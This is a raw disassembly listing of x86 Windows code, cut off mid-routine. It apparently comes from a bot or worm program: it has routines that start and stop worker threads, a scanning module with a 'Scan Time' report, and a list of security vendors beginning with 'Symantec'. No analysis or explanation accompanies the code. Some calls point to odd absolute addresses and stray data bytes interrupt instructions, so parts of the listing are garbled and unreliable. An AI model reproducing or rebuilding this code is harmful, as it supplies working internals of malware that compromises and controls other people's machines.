jge short loc_40B2B9 imul esi, 234h push edi push ebx push dword_43DEC4[esi] lea edi, dword_43DEC4[esi] nop call near ptr 26A0C3Ch cmp [edi], ebx jz short loc_40B269 push 1 pop ebp loc_40B269: ; CODE XREF: sub_40B231+33j mov [edi], ebx lea edi, dword_43DEB8[esi] mov dword_43DEB0[esi], ebx mov dword_43DEB4[esi], ebx mov eax, [edi] cmp eax, ebx jbe short loc_40B28A push eax call sub_4199C9 pop ecx loc_40B28A: ; CODE XREF: sub_40B231+50j mov [edi], ebx lea edi, dword_43DEBC[esi] mov byte ptr dword_43DCB0[esi], bl mov byte_43DEC8[esi], bl push dword ptr [edi] call dword_4CB00C lea esi, dword_43DEC0[esi] mov [edi], ebx push dword ptr [esi] call dword_4CB00C mov [esi], ebx pop edi loc_40B2B9: ; CODE XREF: sub_40B231+Dj ; sub_40B231+15j mov eax, ebp pop esi pop ebp pop ebx retn sub_40B231 endp ; =============== S U B R O U T I N E ======================================= sub_40B2BF proc near ; CODE XREF: sub_40111D+18p ; ___:loc_4017D9p ... push ebx push esi push edi xor ebx, ebx xor edi, edi mov esi, offset dword_43DCB0 loc_40B2CB: ; CODE XREF: sub_40B2BF+2Aj cmp byte ptr [esi], 0 jz short loc_40B2DC push edi call sub_40B231 test eax, eax pop ecx jz short loc_40B2DC inc ebx loc_40B2DC: ; CODE XREF: sub_40B2BF+Fj ; sub_40B2BF+1Aj add esi, 234h inc edi cmp esi, offset dword_4CACB0 jl short loc_40B2CB pop edi mov eax, ebx pop esi pop ebx retn sub_40B2BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B2F1 proc near ; CODE XREF: sub_401ACD+418Ep ; sub_401ACD+42E0p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_4] mov [ebp+var_4], ebx mov esi, offset dword_43DEB4 loc_40B305: ; CODE XREF: sub_40B2F1+43j mov eax, [esi-4] cmp eax, [ebp+arg_0] jnz short loc_40B327 test edi, edi jle short loc_40B319 cmp [esi], edi jz short loc_40B319 cmp ebx, edi jnz short loc_40B327 loc_40B319: ; CODE XREF: sub_40B2F1+1Ej ; sub_40B2F1+22j push ebx call sub_40B231 test eax, eax pop ecx jz short loc_40B327 inc [ebp+var_4] loc_40B327: ; CODE XREF: sub_40B2F1+1Aj ; sub_40B2F1+26j ... add esi, 234h inc ebx cmp esi, offset dword_4CAEB4 jl short loc_40B305 mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_40B2F1 endp ; =============== S U B R O U T I N E ======================================= sub_40B33E proc near ; CODE XREF: ___:00401630p ; sub_401ACD+97Ap ... arg_0 = dword ptr 4 xor eax, eax mov ecx, offset dword_43DEB0 loc_40B345: ; CODE XREF: sub_40B33E+1Cj mov edx, [ecx] cmp edx, [esp+arg_0] jnz short loc_40B34E inc eax loc_40B34E: ; CODE XREF: sub_40B33E+Dj add ecx, 234h cmp ecx, offset dword_4CAEB0 jl short loc_40B345 retn sub_40B33E endp ; =============== S U B R O U T I N E ======================================= sub_40B35D proc near ; CODE XREF: sub_401ACD+2433p arg_0 = dword ptr 4 xor eax, eax push esi xor edx, edx mov ecx, offset dword_43DEB0 loc_40B367: ; CODE XREF: sub_40B35D+1Fj mov esi, [ecx] cmp esi, [esp+4+arg_0] jz short loc_40B380 add ecx, 234h inc edx cmp ecx, offset dword_4CAEB0 jl short loc_40B367 pop esi retn ; --------------------------------------------------------------------------- loc_40B380: ; CODE XREF: sub_40B35D+10j mov eax, edx pop esi retn sub_40B35D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B384 proc near ; CODE XREF: sub_401ACD+1066p ; sub_401ACD+126Cp ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 200h xor eax, eax cmp [ebp+arg_1C], eax jz short loc_40B39D push [ebp+arg_1C] call sub_41B779 pop ecx loc_40B39D: ; CODE XREF: sub_40B384+Ej push eax push [ebp+arg_18] call sub_40B2F1 pop ecx test eax, eax pop ecx jle short loc_40B3C9 push eax lea eax, [ebp+var_200] push [ebp+arg_14] push [ebp+arg_10] push offset aSSStopped_DThr ; "%s %s stopped. (%d thread(s) stopped.)" push eax call sub_41B886 add esp, 14h jmp short loc_40B3E3 ; --------------------------------------------------------------------------- loc_40B3C9: ; CODE XREF: sub_40B384+26j push [ebp+arg_14] lea eax, [ebp+var_200] push [ebp+arg_10] push offset aSNoSThreadFoun ; "%s No %s thread found." push eax call sub_41B886 add esp, 10h loc_40B3E3: ; CODE XREF: sub_40B384+43j cmp [ebp+arg_C], 0 jnz short loc_40B403 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_40B403: ; CODE XREF: sub_40B384+63j lea eax, [ebp+var_200] push eax call sub_4151AC pop ecx leave retn sub_40B384 endp ; =============== S U B R O U T I N E ======================================= sub_40B412 proc near ; CODE XREF: sub_4017ED+159p ; ___:0040BA47p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx imul eax, 234h mov dword_43DEC4[eax], ecx mov dword_43DEB0[eax], ecx mov dword_43DEB4[eax], ecx mov dword_43DEB8[eax], ecx mov dword_43DEBC[eax], ecx mov dword_43DEC0[eax], ecx mov byte ptr dword_43DCB0[eax], cl mov byte_43DEC8[eax], cl retn sub_40B412 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B44F proc near ; CODE XREF: sub_401ACD+7E3Bp ; sub_40B57D+6Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] push 1 pop eax loc_40B459: ; CODE XREF: sub_40B44F+68j mov cl, [esi] test cl, cl jz short loc_40B4B9 cmp eax, 1 jnz short loc_40B4B9 mov edx, [ebp+arg_4] mov dl, [edx] test dl, dl jz short loc_40B4B9 cmp cl, 2Ah jz short loc_40B4A0 cmp cl, 3Fh jz short loc_40B483 cmp cl, 5Bh jz short loc_40B488 xor eax, eax cmp cl, dl setz al loc_40B483: ; CODE XREF: sub_40B44F+26j inc [ebp+arg_4] jmp short loc_40B4B3 ; --------------------------------------------------------------------------- loc_40B488: ; CODE XREF: sub_40B44F+2Bj lea eax, [ebp+arg_4] inc esi push eax lea eax, [ebp+arg_0] push eax mov [ebp+arg_0], esi call sub_40B4E5 mov esi, [ebp+arg_0] pop ecx pop ecx jmp short loc_40B4B3 ; --------------------------------------------------------------------------- loc_40B4A0: ; CODE XREF: sub_40B44F+21j lea eax, [ebp+arg_4] push eax lea eax, [ebp+arg_0] push eax call sub_40B57D mov esi, [ebp+arg_0] pop ecx pop ecx dec esi loc_40B4B3: ; CODE XREF: sub_40B44F+37j ; sub_40B44F+4Fj inc esi mov [ebp+arg_0], esi jmp short loc_40B459 ; --------------------------------------------------------------------------- loc_40B4B9: ; CODE XREF: sub_40B44F+Ej ; sub_40B44F+13j ... cmp byte ptr [esi], 2Ah jnz short loc_40B4C9 cmp eax, 1 jnz short loc_40B4E0 inc esi mov [ebp+arg_0], esi jmp short loc_40B4B9 ; --------------------------------------------------------------------------- loc_40B4C9: ; CODE XREF: sub_40B44F+6Dj cmp eax, 1 jnz short loc_40B4E0 mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz short loc_40B4E0 cmp byte ptr [esi], 0 jnz short loc_40B4E0 push 1 pop eax jmp short loc_40B4E2 ; --------------------------------------------------------------------------- loc_40B4E0: ; CODE XREF: sub_40B44F+72j ; sub_40B44F+7Dj ... xor eax, eax loc_40B4E2: ; CODE XREF: sub_40B44F+8Fj pop esi pop ebp retn sub_40B44F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B4E5 proc near ; CODE XREF: sub_40B44F+45p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov edx, [ebp+arg_0] push edi xor edi, edi push 1 mov ecx, [edx] and [ebp+var_8], edi pop eax cmp byte ptr [ecx], 21h mov [ebp+var_4], eax jnz short loc_40B506 inc ecx mov [ebp+var_8], eax mov [edx], ecx loc_40B506: ; CODE XREF: sub_40B4E5+19j push ebx push esi loc_40B508: ; CODE XREF: sub_40B4E5+7Bj mov ecx, [edx] mov bl, [ecx] cmp bl, 5Dh jnz short loc_40B516 cmp [ebp+var_4], eax jnz short loc_40B562 loc_40B516: ; CODE XREF: sub_40B4E5+2Aj test edi, edi jnz short loc_40B557 cmp bl, 2Dh jnz short loc_40B54B mov al, [ecx+1] lea esi, [ecx+1] mov cl, [ecx-1] cmp cl, al jge short loc_40B54B cmp al, 5Dh jz short loc_40B54B cmp [ebp+var_4], edi jnz short loc_40B54B mov ebx, [ebp+arg_4] mov ebx, [ebx] mov bl, [ebx] cmp bl, cl jl short loc_40B557 cmp bl, al jg short loc_40B557 push 1 mov [edx], esi pop edi jmp short loc_40B557 ; --------------------------------------------------------------------------- loc_40B54B: ; CODE XREF: sub_40B4E5+38j ; sub_40B4E5+45j ... mov eax, [ebp+arg_4] mov eax, [eax] cmp bl, [eax] jnz short loc_40B557 push 1 pop edi loc_40B557: ; CODE XREF: sub_40B4E5+33j ; sub_40B4E5+59j ... inc dword ptr [edx] and [ebp+var_4], 0 push 1 pop eax jmp short loc_40B508 ; --------------------------------------------------------------------------- loc_40B562: ; CODE XREF: sub_40B4E5+2Fj cmp [ebp+var_8], eax pop esi pop ebx jnz short loc_40B56F mov ecx, eax sub ecx, edi mov edi, ecx loc_40B56F: ; CODE XREF: sub_40B4E5+82j cmp edi, eax jnz short loc_40B578 mov eax, [ebp+arg_4] inc dword ptr [eax] loc_40B578: ; CODE XREF: sub_40B4E5+8Cj mov eax, edi pop edi leave retn sub_40B4E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B57D proc near ; CODE XREF: sub_40B44F+59p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi mov esi, [ebp+arg_0] push edi mov edi, [ebp+arg_4] mov [ebp+var_4], 1 inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] xor ebx, ebx loc_40B599: ; CODE XREF: sub_40B57D+3Aj cmp [eax], bl jz short loc_40B5B9 mov cl, [ecx] cmp cl, 3Fh jz short loc_40B5AE cmp cl, 2Ah jnz short loc_40B5B9 cmp cl, 3Fh jnz short loc_40B5B1 loc_40B5AE: ; CODE XREF: sub_40B57D+25j inc eax mov [edi], eax loc_40B5B1: ; CODE XREF: sub_40B57D+2Fj inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] jmp short loc_40B599 ; --------------------------------------------------------------------------- loc_40B5B9: ; CODE XREF: sub_40B57D+1Ej ; sub_40B57D+2Aj ... mov eax, [esi] cmp byte ptr [eax], 2Ah jnz short loc_40B5C4 inc dword ptr [esi] jmp short loc_40B5B9 ; --------------------------------------------------------------------------- loc_40B5C4: ; CODE XREF: sub_40B57D+41j mov eax, [edi] mov cl, [eax] cmp cl, bl jnz short loc_40B5E5 mov edx, [esi] cmp [edx], bl jz short loc_40B5D6 xor eax, eax jmp short loc_40B645 ; --------------------------------------------------------------------------- loc_40B5D6: ; CODE XREF: sub_40B57D+53j cmp cl, bl jnz short loc_40B5E5 mov ecx, [esi] cmp [ecx], bl jnz short loc_40B5E5 push 1 pop eax jmp short loc_40B645 ; --------------------------------------------------------------------------- loc_40B5E5: ; CODE XREF: sub_40B57D+4Dj ; sub_40B57D+5Bj ... push eax push dword ptr [esi] call sub_40B44F pop ecx test eax, eax pop ecx jnz short loc_40B62F loc_40B5F3: ; CODE XREF: sub_40B57D+B0j inc dword ptr [edi] mov eax, [edi] loc_40B5F7: ; CODE XREF: sub_40B57D+90j mov ecx, [esi] mov dl, [eax] mov cl, [ecx] cmp cl, dl jz short loc_40B60F cmp cl, 5Bh jz short loc_40B60F cmp dl, bl jz short loc_40B60F inc eax mov [edi], eax jmp short loc_40B5F7 ; --------------------------------------------------------------------------- loc_40B60F: ; CODE XREF: sub_40B57D+82j ; sub_40B57D+87j ... mov eax, [edi] cmp [eax], bl jz short loc_40B626 push eax push dword ptr [esi] call sub_40B44F neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_40B62B ; --------------------------------------------------------------------------- loc_40B626: ; CODE XREF: sub_40B57D+96j mov [ebp+var_4], ebx xor eax, eax loc_40B62B: ; CODE XREF: sub_40B57D+A7j cmp eax, ebx jnz short loc_40B5F3 loc_40B62F: ; CODE XREF: sub_40B57D+74j mov eax, [edi] cmp [eax], bl jnz short loc_40B642 mov eax, [esi] cmp [eax], bl jnz short loc_40B642 mov [ebp+var_4], 1 loc_40B642: ; CODE XREF: sub_40B57D+B6j ; sub_40B57D+BCj mov eax, [ebp+var_4] loc_40B645: ; CODE XREF: sub_40B57D+57j ; sub_40B57D+66j pop edi pop esi pop ebx leave retn sub_40B57D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B64A proc near ; CODE XREF: sub_401ACD+2AF5p var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 400h push ebx push edi lea eax, [ebp+var_200] push offset unk_4317A4 push eax xor ebx, ebx call sub_41B886 cmp dword_431408, ebx pop ecx pop ecx mov edi, 200h jz short loc_40B6BC push esi mov esi, offset dword_431410 loc_40B67D: ; CODE XREF: sub_40B64A+6Fj mov eax, [esi] test eax, eax jbe short loc_40B6B2 add ebx, eax push eax lea eax, [esi-26h] push eax lea eax, [ebp+var_400] push offset dword_431798 push eax call sub_41B886 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_41C1E0 add esp, 1Ch loc_40B6B2: ; CODE XREF: sub_40B64A+37j add esi, 40h cmp dword ptr [esi-8], 0 jnz short loc_40B67D pop esi loc_40B6BC: ; CODE XREF: sub_40B64A+2Bj push dword_4CACB4 call sub_41A88B pop ecx push eax push ebx lea eax, [ebp+var_400] push offset aTotalDInS_ ; " Total: %d in %s." push eax call sub_41B886 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_41C1E0 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_200] push eax call sub_4151AC add esp, 34h pop edi pop ebx leave retn sub_40B64A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B719 proc near ; CODE XREF: sub_401ACD+2ADFp var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h mov eax, dword_4CDA80 mov ecx, dword_4CDA7C push esi push dword_4CACB4 lea esi, [ecx+eax] call sub_41A88B pop ecx push eax push esi push dword_4CDA80 lea eax, [ebp+var_200] push dword_4CDA7C push offset unk_4317C4 push eax call sub_41B886 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_200] push eax call sub_4151AC add esp, 30h pop esi leave retn sub_40B719 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B785 proc near ; CODE XREF: sub_401ACD+2AC9p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push dword_4CACB4 call sub_41A88B pop ecx push eax lea eax, [ebp+var_200] push dword_4CDCC4 push offset unk_43180C push eax call sub_41B886 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_200] push eax call sub_4151AC add esp, 28h leave retn sub_40B785 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B7DA proc near ; CODE XREF: sub_401ACD+2AB3p var_1000 = byte ptr -1000h var_800 = byte ptr -800h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, 1000h call sub_41BB20 push edi lea eax, [ebp+var_800] push offset dword_431858 push eax call sub_41B886 cmp dword_431408, 0 pop ecx pop ecx mov edi, 800h jz short loc_40B846 push esi mov esi, offset aSymantec ; "Symantec" loc_40B80F: ; CODE XREF: sub_40B7DA+69j lea eax, [esi-0Ah] push eax push esi lea eax, [ebp+var_1000] push offset dword_431848 push eax call sub_41B886 lea eax, [ebp+var_1000] push edi push eax lea eax, [ebp+var_800] push eax call sub_41C1E0 add esi, 40h add esp, 1Ch cmp dword ptr [esi+1Eh], 0 jnz short loc_40B80F pop esi loc_40B846: ; CODE XREF: sub_40B7DA+2Dj push dword_4CACB4 call sub_41A88B pop ecx push eax lea eax, [ebp+var_1000] push offset aScanTimeS_ ; " Scan Time: %s." push eax call sub_41B886 lea eax, [ebp+var_1000] push edi push eax lea eax, [ebp+var_800] push eax call sub_41C1E0 push 0 lea eax, [ebp+var_800] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_800] push eax call sub_4151AC add esp, 30h pop edi leave retn sub_40B7DA endp ; --------------------------------------------------------------------------- byte_40B8A1 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+30E0o ; --------------------------------------------------------------------------- sub esp, 3F0h mov eax, [ebp+8] push ebx push esi push edi push 4Bh mov esi, eax pop ecx lea edi, [ebp-134h] rep movsd mov dword ptr [eax+128h], 1 lea eax, [ebp-134h] push eax call dword_4CAFB4 xor edi, edi mov [ebp-8], eax cmp dword_431408, edi mov [ebp-4], edi mov [ebp+8], edi jz loc_40BA03 mov ebx, offset dword_431408 mov eax, ebx loc_40B8F2: ; CODE XREF: ___:0040B9FDj push dword ptr [ebp-1Ch] push dword ptr [eax] push dword ptr [ebp-8] call sub_40C087 add esp, 0Ch cmp eax, 1 jnz loc_40B9F3 push dword ptr [ebx] lea esi, [ebx-28h] lea eax, [ebp-134h] push eax lea eax, [esi+0Ah] push eax lea eax, [ebp-3F0h] push offset unk_4318A8 push eax call sub_41B886 push edi lea eax, [ebp-3F0h] push dword ptr [ebp-14h] push eax lea eax, [ebp-124h] push eax push dword ptr [ebp-24h] call sub_409A72 lea eax, [ebp-3F0h] push eax call sub_4151AC add esp, 2Ch lea eax, [ebp-134h] push eax lea eax, [ebp-1ECh] push eax call sub_41B886 pop ecx lea eax, [ebp-15Ch] pop ecx push esi push eax call sub_41B886 cmp byte ptr [ebp-0A4h], 0 pop ecx pop ecx lea eax, [ebp-0A4h] jnz short loc_40B98E lea eax, [ebp-124h] loc_40B98E: ; CODE XREF: ___:0040B986j push eax lea eax, [ebp-1DCh] push eax call sub_41B886 mov eax, [ebp-24h] pop ecx mov [ebp-1F0h], eax mov eax, [ebp-14h] mov [ebp-140h], eax mov eax, [ebp-10h] pop ecx mov [ebp-13Ch], eax mov eax, [ebx] sub esp, 0BCh mov [ebp-150h], eax mov eax, [ebp-18h] push 2Fh mov [ebp-14Ch], eax mov eax, [ebp+8] pop ecx lea esi, [ebp-1F0h] mov edi, esp mov [ebp-148h], eax rep movsd call dword ptr [ebx+4] add esp, 0BCh inc dword ptr [ebp-4] xor edi, edi loc_40B9F3: ; CODE XREF: ___:0040B905j inc dword ptr [ebp+8] add ebx, 40h mov eax, ebx cmp [ebx], edi jnz loc_40B8F2 loc_40BA03: ; CODE XREF: ___:0040B8E5j push dword ptr [ebp-4] lea eax, [ebp-134h] push eax lea eax, [ebp-3F0h] push offset unk_431874 push eax call sub_41B886 push edi lea eax, [ebp-3F0h] push dword ptr [ebp-14h] push eax lea eax, [ebp-124h] push eax push dword ptr [ebp-24h] call sub_409A72 lea eax, [ebp-3F0h] push eax call sub_4151AC push dword ptr [ebp-18h] call sub_40B412 add esp, 2Ch push edi nop ; --------------------------------------------------------------------------- db 0E8h, 0AAh, 45h db 2Eh, 2 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BA56 proc near ; CODE XREF: sub_401ACD+244Ep var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push 0Bh call sub_40B33E test eax, eax pop ecx jle short loc_40BA92 mov eax, [ebp+arg_C] push dword_4CB0C0[eax*8] call dword_4CB000 push eax lea eax, [ebp+var_200] push offset unk_4318F8 push eax call sub_41B886 add esp, 0Ch jmp short loc_40BAA5 ; --------------------------------------------------------------------------- loc_40BA92: ; CODE XREF: sub_40BA56+13j lea eax, [ebp+var_200] push offset unk_4318D8 push eax call sub_41B886 pop ecx pop ecx loc_40BAA5: ; CODE XREF: sub_40BA56+3Aj push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_200] push eax call sub_4151AC add esp, 18h leave retn sub_40BA56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BACD proc near ; CODE XREF: sub_40C124+267p var_210 = dword ptr -210h var_204 = byte ptr -204h var_4 = byte ptr -4 arg_10 = byte ptr 18h arg_90 = byte ptr 98h arg_110 = dword ptr 118h arg_130 = dword ptr 138h arg_138 = dword ptr 140h arg_13C = dword ptr 144h push ebp mov ebp, esp sub esp, 204h mov eax, [ebp+arg_130] push ebx cmp eax, 0FFFFFFFFh push esi jz loc_40BF9F shl eax, 6 xor ebx, ebx cmp dword_431414[eax], ebx jz loc_40BF9F push 5 call sub_40B33E test eax, eax pop ecx jnz loc_40BD54 mov eax, dword_429078 push edi mov esi, offset dword_4CD17C push 104h push esi push ebx mov dword_4CD38C, eax mov dword_4CD388, ebx nop call near ptr 2680000h mov edi, offset byte_429108 push 103h push edi push offset dword_4CD280 call sub_41B5F0 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_4CD178, eax mov eax, [ebp+arg_138] push 7Fh mov dword_4CD410, eax jnz short loc_40BB80 lea eax, [ebp+arg_10] push eax push offset dword_4CD390 call sub_41B5F0 add esp, 0Ch mov dword_4CD414, 1 jmp short loc_40BB9A ; --------------------------------------------------------------------------- loc_40BB80: ; CODE XREF: sub_40BACD+94j lea eax, [ebp+arg_90] push eax push offset dword_4CD390 call sub_41B5F0 add esp, 0Ch mov dword_4CD414, ebx loc_40BB9A: ; CODE XREF: sub_40BACD+B1j push esi lea eax, [ebp+var_204] push dword_4CD38C push offset unk_42BE5C push eax call sub_41B886 push ebx lea eax, [ebp+var_204] push 5 push eax call sub_40B0F6 add esp, 1Ch mov dword_4CD384, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CD178 push offset word_411796 push ebx push ebx nop call near ptr 2690448h mov ecx, dword_4CD384 imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40BC08 loc_40BBF6: ; CODE XREF: sub_40BACD+139j cmp dword_4CD418, ebx jnz short loc_40BC23 push 32h nop call near ptr 26903FCh jmp short loc_40BBF6 ; --------------------------------------------------------------------------- loc_40BC08: ; CODE XREF: sub_40BACD+127j nop call near ptr 2690DCCh push eax lea eax, [ebp+var_204] push offset unk_431A18 push eax call sub_41B886 add esp, 0Ch loc_40BC23: ; CODE XREF: sub_40BACD+12Fj lea eax, [ebp+var_204] push eax call sub_4151AC mov eax, dword_4CACB0 mov esi, offset dword_4CD424 mov [esp+210h+var_210], 104h push esi push ebx mov dword_4CD634, eax mov dword_4CD630, ebx nop call near ptr 2680000h push 103h push edi push offset dword_4CD528 call sub_41B5F0 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_4CD420, eax mov eax, [ebp+arg_138] pop edi mov dword_4CD6B8, eax push 7Fh jnz short loc_40BCA4 lea eax, [ebp+arg_10] push eax push offset dword_4CD638 call sub_41B5F0 add esp, 0Ch mov dword_4CD6BC, 1 jmp short loc_40BCBE ; --------------------------------------------------------------------------- loc_40BCA4: ; CODE XREF: sub_40BACD+1B8j lea eax, [ebp+arg_90] push eax push offset dword_4CD638 call sub_41B5F0 add esp, 0Ch mov dword_4CD6BC, ebx loc_40BCBE: ; CODE XREF: sub_40BACD+1D5j push esi lea eax, [ebp+var_204] push dword_4CD634 push offset unk_4319E4 push eax call sub_41B886 push ebx lea eax, [ebp+var_204] push 4 push eax call sub_40B0F6 add esp, 1Ch mov dword_4CD62C, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CD420 push offset byte_40E991 push ebx push ebx call near ptr 2690448h nop mov ecx, dword_4CD62C imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40BD2C loc_40BD1A: ; CODE XREF: sub_40BACD+25Dj cmp dword_4CD6C0, ebx jnz short loc_40BD47 push 32h call near ptr 26903FCh nop jmp short loc_40BD1A ; --------------------------------------------------------------------------- loc_40BD2C: ; CODE XREF: sub_40BACD+24Bj call near ptr 2690DCCh nop push eax lea eax, [ebp+var_204] push offset unk_4319B0 push eax call sub_41B886 add esp, 0Ch loc_40BD47: ; CODE XREF: sub_40BACD+253j lea eax, [ebp+var_204] push eax call sub_4151AC pop ecx loc_40BD54: ; CODE XREF: sub_40BACD+35j mov eax, [ebp+arg_130] mov ecx, eax shl ecx, 6 cmp dword_43141C[ecx], ebx jz loc_40BE7D push 7 call sub_40B33E test eax, eax pop ecx jnz loc_40BE77 mov eax, dword_4CDCBC cmp [ebp+arg_90], bl mov dword_4CD0E4, eax mov eax, [ebp+arg_110] mov dword_4CD0D8, eax mov eax, [ebp+arg_138] mov dword_4CD0E0, ebx mov dword_4CD168, eax push 7Fh jnz short loc_40BDC8 lea eax, [ebp+arg_10] push eax push offset dword_4CD0E8 call sub_41B5F0 add esp, 0Ch mov dword_4CD16C, 1 jmp short loc_40BDE2 ; --------------------------------------------------------------------------- loc_40BDC8: ; CODE XREF: sub_40BACD+2DCj lea eax, [ebp+arg_90] push eax push offset dword_4CD0E8 call sub_41B5F0 add esp, 0Ch mov dword_4CD16C, ebx loc_40BDE2: ; CODE XREF: sub_40BACD+2F9j push dword_4CD0E4 lea eax, [ebp+var_204] push offset unk_431980 push eax call sub_41B886 push ebx lea eax, [ebp+var_204] push 7 push eax call sub_40B0F6 add esp, 18h mov dword_4CD0DC, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CD0D8 push offset byte_40E6EF push ebx push ebx call near ptr 2690448h nop mov ecx, dword_4CD0DC imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40BE4F loc_40BE3D: ; CODE XREF: sub_40BACD+380j cmp dword_4CD170, ebx jnz short loc_40BE6A push 32h nop call near ptr 26903FCh jmp short loc_40BE3D ; --------------------------------------------------------------------------- loc_40BE4F: ; CODE XREF: sub_40BACD+36Ej nop call near ptr 2690DCCh push eax lea eax, [ebp+var_204] push offset unk_431948 push eax call sub_41B886 add esp, 0Ch loc_40BE6A: ; CODE XREF: sub_40BACD+376j lea eax, [ebp+var_204] push eax call sub_4151AC pop ecx loc_40BE77: ; CODE XREF: sub_40BACD+2A8j mov eax, [ebp+arg_130] loc_40BE7D: ; CODE XREF: sub_40BACD+298j shl eax, 6 cmp dword_431418[eax], ebx jz loc_40BF9F push 3 call sub_40B33E test eax, eax pop ecx jnz loc_40BF9F mov esi, offset dword_4CD954 push 104h push esi push ebx nop call near ptr 2680000h push 5Ch push esi call sub_41BE40 pop ecx cmp eax, ebx pop ecx jz short loc_40BEBE mov [eax], bl loc_40BEBE: ; CODE XREF: sub_40BACD+3EDj mov eax, dword_42907C mov dword_4CDA6C, ebx mov dword_4CDA58, eax lea eax, [ebp+arg_10] push eax push offset dword_4CD6CC call sub_41B886 mov eax, [ebp+arg_110] pop ecx pop ecx mov dword_4CD6C8, eax mov ecx, [ebp+arg_138] push esi push dword_4CDA58 mov dword_4CDA64, ecx mov ecx, [ebp+arg_13C] push eax mov dword_4CDA68, ecx call sub_40AC0F pop ecx push eax lea eax, [ebp+var_204] push offset unk_42BDE4 push eax call sub_41B886 push ebx lea eax, [ebp+var_204] push 3 push eax call sub_40B0F6 add esp, 20h mov dword_4CDA60, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CD6C8 push offset sub_40F0D5 push ebx push ebx nop call near ptr 2690448h mov ecx, dword_4CDA60 imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40BF77 loc_40BF65: ; CODE XREF: sub_40BACD+4A8j cmp dword_4CDA74, ebx jnz short loc_40BF92 push 32h nop call near ptr 26903FCh jmp short loc_40BF65 ; --------------------------------------------------------------------------- loc_40BF77: ; CODE XREF: sub_40BACD+496j nop call near ptr 2690DCCh push eax lea eax, [ebp+var_204] push offset unk_431914 push eax call sub_41B886 add esp, 0Ch loc_40BF92: ; CODE XREF: sub_40BACD+49Ej lea eax, [ebp+var_204] push eax call sub_4151AC pop ecx loc_40BF9F: ; CODE XREF: sub_40BACD+14j ; sub_40BACD+25j ... pop esi pop ebx leave retn sub_40BACD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BFA3 proc near ; CODE XREF: sub_40C124:loc_40C195p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 